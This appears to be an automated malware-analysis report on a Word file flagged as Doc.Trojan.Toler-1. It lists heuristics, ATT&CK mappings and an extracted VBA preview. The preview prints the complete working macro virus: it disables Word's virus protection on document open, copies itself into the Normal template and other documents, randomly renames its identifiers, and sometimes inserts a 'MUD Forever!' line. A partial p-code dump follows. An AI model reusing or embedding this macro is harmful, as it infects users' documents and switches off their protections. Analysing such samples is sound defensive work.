MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains a VBA macro that is triggered by the Document_Open event. This macro attempts to modify the Normal template and potentially other documents by copying code between them. The ClamAV detection 'Doc.Trojan.Toler-1' and the presence of the Document_Open macro strongly suggest malicious intent, likely to achieve persistence or spread.
Heuristics 3
-
ClamAV: Doc.Trojan.Toler-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Toler-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10322 bytes |
SHA-256: d0a7fd06273289533912d440beedc81eb665ac353550ab4d133d84b1881b9a31 |
|||
|
Detection
ClamAV:
Doc.Trojan.Toler-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' Tolerance!
Private Type FjntZ
DbaguZ As Integer
AxwvcbruZ As Integer
YylesZ As Boolean
End Type
Private Sub Document_Open()
Randomize
Options.VirusProtection = False
Dim RolcfcZ As Object, FepZ As Object
Set RolcfcZ = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Set FepZ = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Dim DtqlvZ As FjntZ, NmsiZ As FjntZ: DtqlvZ = XqjtrucZ(RolcfcZ): NmsiZ = XqjtrucZ(FepZ)
If NmsiZ.AxwvcbruZ = 0 Then
CmybZ RolcfcZ, FepZ, DtqlvZ, NmsiZ
Options.SaveNormalPrompt = False
End If
If (DtqlvZ.AxwvcbruZ = 0) Or ((NmsiZ.AxwvcbruZ <> 0) And (DtqlvZ.AxwvcbruZ <> NmsiZ.AxwvcbruZ)) Then
CmybZ FepZ, RolcfcZ, NmsiZ, DtqlvZ
ActiveDocument.SaveAs (ActiveDocument.FullName)
ElseIf Rnd < 0.3 Then
ActiveDocument.Range(0, 0).InsertParagraphBefore
ActiveDocument.Range(0, 0).InsertBefore "MUD Forever! :-)"
ActiveDocument.SaveAs (ActiveDocument.FullName)
End If
End Sub
Private Sub CmybZ(DbaguZ As Object, SbdZ As Object, FromP As FjntZ, ToP As FjntZ)
Dim MdntZ As String, OjkcxfZ
MdntZ = DbaguZ.Lines(FromP.DbaguZ, FromP.AxwvcbruZ)
OjkcxfZ = Array("BnteZ", "FjntZ", "DbaguZ", "SbdZ", "MxcrrZ", "AxwvcbruZ", "YylesZ", "RolcfcZ", "FepZ", "DtqlvZ", "NmsiZ", "CmybZ", "MdntZ", "CgtumpZ", "PxxhZ", "DfomhtnZ", "XqjtrucZ", "DnseiZ", "OjkcxfZ")
For I = 0 To 18: DnseiZ MdntZ, (OjkcxfZ(I)), BnteZ(MdntZ): Next I
If ToP.YylesZ Then SbdZ.DeleteLines 1, SbdZ.CountOfLines
SbdZ.AddFromString MdntZ
End Sub
Private Function BnteZ(MdntZ As String) As String
Dim CgtumpZ As String: CgtumpZ = ""
While (InStr(MdntZ, CgtumpZ) <> 0) Or (Len(CgtumpZ) < 3)
CgtumpZ = ""
For I = 1 To 10
If Rnd > 0.5 Then
If Len(CgtumpZ) = 0 Then
CgtumpZ = CgtumpZ + Chr(Int(Rnd * 25 + 65))
Else: CgtumpZ = CgtumpZ + Chr(Int(Rnd * 25 + 97))
End If
End If
Next I
CgtumpZ = CgtumpZ + "Z"
Wend
BnteZ = CgtumpZ
End Function
Private Sub DnseiZ(MdntZ As String, PxxhZ As String, DfomhtnZ As String)
Dim I As Long
I = 1
While InStr(I, MdntZ, PxxhZ) <> 0
I = InStr(I, MdntZ, PxxhZ)
MdntZ = Left(MdntZ, I - 1) + DfomhtnZ + Mid$(MdntZ, I + Len(PxxhZ))
Index = Index + 1
Wend
End Sub
Private Function XqjtrucZ(MxcrrZ As Object) As FjntZ
XqjtrucZ.DbaguZ = 0
XqjtrucZ.AxwvcbruZ = 0
XqjtrucZ.YylesZ = False
For I = 1 To MxcrrZ.CountOfLines
If MxcrrZ.Lines(I, 1) = "' Tolerance!" Then XqjtrucZ.DbaguZ = I
If MxcrrZ.Lines(I, 1) = "End Function 'Tolerance!" Then XqjtrucZ.AxwvcbruZ = I - XqjtrucZ.DbaguZ + 1
If InStr(MxcrrZ.Lines(I, 1), "Private Sub Document_Open()") = 1 Then XqjtrucZ.YylesZ = True
Next I
End Function 'Tolerance!
' Processing file: /opt/analyzer/scan_staging/762609dc388c43c5a14bfa9f3e07633c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5925 bytes
' Line #0:
' QuoteRem 0x0000 0x000B " Tolerance!"
' Line #1:
' Type (Private) FjntZ
' Line #2:
' DimImplicit
' VarDefn DbaguZ (As Integer)
' Line #3:
' DimImplicit
' VarDefn AxwvcbruZ (As Integer)
' Line #4:
' DimImplicit
' VarDefn YylesZ (As Boolean)
' Line #5:
' EndType
' Line #6:
' FuncDefn (Private Sub Document_Open())
' Line #7:
' ArgsCall Read 0x0000
' Line #8:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #9:
' Dim
' VarDefn RolcfcZ (As Object)
' VarDefn FepZ (As Object)
' Line #10:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' Set RolcfcZ
' Line #11:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.